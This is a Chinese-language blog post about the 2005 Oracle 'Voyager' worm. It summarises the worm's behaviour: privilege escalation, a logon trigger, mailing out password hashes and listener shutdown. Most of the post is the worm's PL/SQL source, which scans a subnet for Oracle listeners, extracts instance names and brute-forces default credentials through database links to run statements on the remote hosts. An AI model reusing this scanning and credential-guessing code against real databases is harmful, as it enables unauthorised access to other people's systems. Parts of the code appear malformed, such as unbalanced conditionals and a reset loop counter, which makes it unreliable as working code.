关于计算机病毒,说起来内容就很丰富了,但是第一次听到关于oracle中的病毒时,却感觉很新鲜。这是一个蠕虫病毒,距离现在已经有10年了,但是现在看起来还是能够借鉴不少精华的东西。把里面的一部分内容能够应用到实际中还是很不错的选择。 说起这个病毒,还有点小插曲。2005年10 月 31 日,有一个匿名者在 Full-disclosure(FD) 邮件列表里投递了一篇名为 Trick or treat Larry(很明显是对 Larry Ellison 的一个小玩笑) 的邮件。完全用 PL/SQL 写的蠕虫就这样出现了。这个病毒在当时的杀伤力还是不小的。 1.将DBA权限授予public角色 2.删除名为aa的trigger 3.创建名为aa的数据库登陆后(after database logon)触发器,该触发器还包含了使用UTL_TCP包(前提是病毒所在实例可能链接到外网)获取来自于http://www.google.de/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%27m+Feeling+Lucky的疑似病毒信息,google已经将该地址屏蔽了 4.通过smtp01.us.oracle.com邮件发送服务器发送标题为(Password hashes)包含数据库密码哈希值的邮件至 larry@oracle.com(可能是Oracle老总larry ellison 邮箱地址) 5.扫描实例所在主机子网中的所有ip,之后会尝试使用随机ip.修改listener.log,并且将”alter user mdsys identified by mdsys”添加至glogin.sql,每次使用SQLPLUS时均会执行该SQL. 6.创建可能的数据库连接(DBLINK),并尝试猜测密码组合,如(system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)等较为常见的组合。 7.尝试关闭listener 这些攻击行为在现在看来还是很难实际攻击的,毕竟道高一尺,魔高一丈,经过这么长的时间,那些攻击点对于这些年来的安全警示可能没有已经几乎没有可能了,但是在当时这个病毒,oracle还是相当重视的,可以参考metalink Note 340009.1 Customer Update Regarding Published Sketch For So-Called Oracle Voyager Worm Last Updated Date: January 18th, 2006 oracle还提供了相应的补丁来修复,可见这个pl/sql在当时的影响力。我们来直接上对应的Pl/sql可以好好琢磨琢磨,希望大家有所收获,能把一些攻击点反转利用为一些工作中的功能点还是很不错的。
set serveroutput on
set verify off
DECLARE
i1 INTEGER;
i2 INTEGER;
iHostToSearchFor INTEGER;
current_ipaddress VARCHAR2(100);
current_network VARCHAR2(100);
current_letter VARCHAR2(1);
c UTL_TCP.CONNECTION;
ln integer;
vLen NUMBER;
PreviousSID varchar2(100);
vRequest varchar2(500);
vResp varchar2(32767);
vRespPiece varchar2(200);
vRespTemp varchar2(200);
ret_val pls_integer;
BEGIN
current_ipaddress := utl_inaddr.get_host_address;
ln := length(current_ipaddress);
loop
current_letter := substr(current_ipaddress, ln, 1);
ln := ln - 1;
EXIT WHEN current_letter = '.';
EXIT WHEN ln = 0;
end loop;
current_network := substr(current_ipaddress, 1, ln);
dbms_output.put_line( 'network to search: ' || current_network );
dbms_output.put_line( 'starting: ' || to_char(sysdate, 'MI:SS') );
iHostToSearchFor := 220;
vRequest := chr(0) || chr(89) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) ||
chr(8) || chr(0) ||
chr(127) || chr(255) || chr(127) || chr(8) || chr(0) || chr(0) ||
chr(0) || chr(1) ||
chr(0) || chr(31) || chr(0) || chr(58) || chr(0) || chr(0) ||
chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0)
|| chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(230) ||
chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0)
|| chr(0) || chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=status))';
loop
begin
vResp := '';
PreviousSID := '';
c := UTL_TCP.OPEN_CONNECTION(current_network || '.' ||
iHostToSearchFor, 1521);
dbms_output.put_line( 'found live port @ ' || to_char(sysdate,
'MI:SS') || ' - ' || current_network || '.' || iHostToSearchFor);
ret_val := UTL_TCP.WRITE_RAW(c, utl_raw.cast_to_raw(vRequest));
vLen := UTL_TCP.READ_RAW(c, vResp, 100 );
vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 43, 58));
vResp := vRespPiece;
declare
read_from_network varchar2(32000);
length_read_from_network INTEGER;
begin
loop
read_from_network := '';
length_read_from_network := UTL_TCP.READ_RAW(c,
read_from_network, 100 );
read_from_network :=
utl_raw.cast_to_varchar2(utl_raw.substr(read_from_network, 1,
length_read_from_network));
vResp := vResp || read_from_network;
end loop;
EXCEPTION
when OTHERS then
read_from_network := '';
end;
-- look for INSTANCE_NAME= and then for )
-- dbms_output.put_line( substr( vResp, 1, 254) );
-- dbms_output.put_line( substr( vResp, 255, 254) );
-- dbms_output.put_line( substr( vResp, 510, 254) );
UTL_TCP.CLOSE_CONNECTION(c);
declare
i3 INTEGER;
i4 INTEGER;
sid varchar2(100);
cur binary_integer;
i binary_integer;
procedure_to_spread varchar2(32000);
create_link varchar2(500);
begin
i3 := 1;
i4 := 1;
loop
i3 := instr(vResp, '(INSTANCE_NAME=', i3);
exit when i3 = 0;
i4 := instr(vResp, ')', i3);
sid := substr( vResp, i3 + 15, i4 - (i3 + 15));
dbms_output.put_line( 'Found SID of ' || sid );
i3 := i3 + 1;
begin
if sid = PreviousSID or sid = 'PLSExtProc' or sid = 'extproc'
then
-- don't do anything
dbms_output.put_line( 'Not trying the SID: ' || sid );
else
dbms_output.put_line( 'Attacking the SID: ' || sid );
loop
declare
iLoop integer := 0;
username1 varchar2(100);
password1 varchar2(100);
begin
iLoop := iLoop + 1;
exit when iLoop = 8;
if iLoop = 1 then
username1 := 'system';
password1 := 'manager';
else if iLoop = 2 then
username1 := 'sys';
password1 := 'change_on_install';
else if iLoop = 3 then
username1 := 'dbsnmp';
password1 := 'dbsnmp';
else if iLoop = 4 then
username1 := 'outln';
password1 := 'outln';
else if iLoop = 5 then
username1 := 'scott';
password1 := 'tiger';
else if iLoop = 6 then
username1 := 'mdsys';
password1 := 'mdsys';
else if iLoop = 7 then
username1 := 'ordcommon';
password1 := 'ordcommon';
end if;
cur := dbms_sql.open_cursor;
dbms_sql.parse(cur, 'drop database link xxx',
dbms_sql.v7);
i := dbms_sql.execute( cur );
create_link := 'CREATE DATABASE LINK xxx CONNECT TO ' ||
username1 || ' IDENTIFIED BY ' || password1 || ' USING
''(DESCRIPTION=(ADDRESS_LIST=(ADDRESS = (PROTOCOL = TCP)(HOST = '
|| iHostToSearchFor || ')(PORT = 1521)))(CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=' || SID ||
')))';
dbms_sql.parse(cur, create_link, dbms_sql.v7);
i := dbms_sql.execute( cur );
dbms_sql.close_cursor(cur);
cur := dbms_sql.open_cursor at xxx;
-- dbms_sql.parse at xxx(cur, procedure_to_spread,
dbms_sql.v7);
-- i := dbms_sql.execute at xxx( cur ); dbms_sql.parse at xxx(cur, 'drop table x', dbms_sql.v7);
i := dbms_sql.execute at xxx( cur ); dbms_sql.parse at xxx(cur, 'CREATE TABLE X (Y DATE)' ,
dbms_sql.v7);
i := dbms_sql.execute at xxx( cur ); dbms_sql.close_cursor at xxx(cur);
exception
when others then
DBMS_OUTPUT.PUT_LINE('failed creating a database link
that worked ');
end if;
end loop;
end if;
PreviousSID := SID;
end;
end loop;
end;
EXCEPTION
when utl_tcp.NETWORK_ERROR then
DBMS_OUTPUT.PUT_LINE('nothing found @ ' || to_char(sysdate,
'MI:SS') || ' - ' || current_network || '.' || iHostToSearchFor);
end;
iHostToSearchFor := iHostToSearchFor - 1;
EXIT WHEN iHostToSearchFor = 216;
end loop;
dbms_output.put_line( 'finished the loop @ ' || to_char(sysdate,
'MI:SS') );
END;
/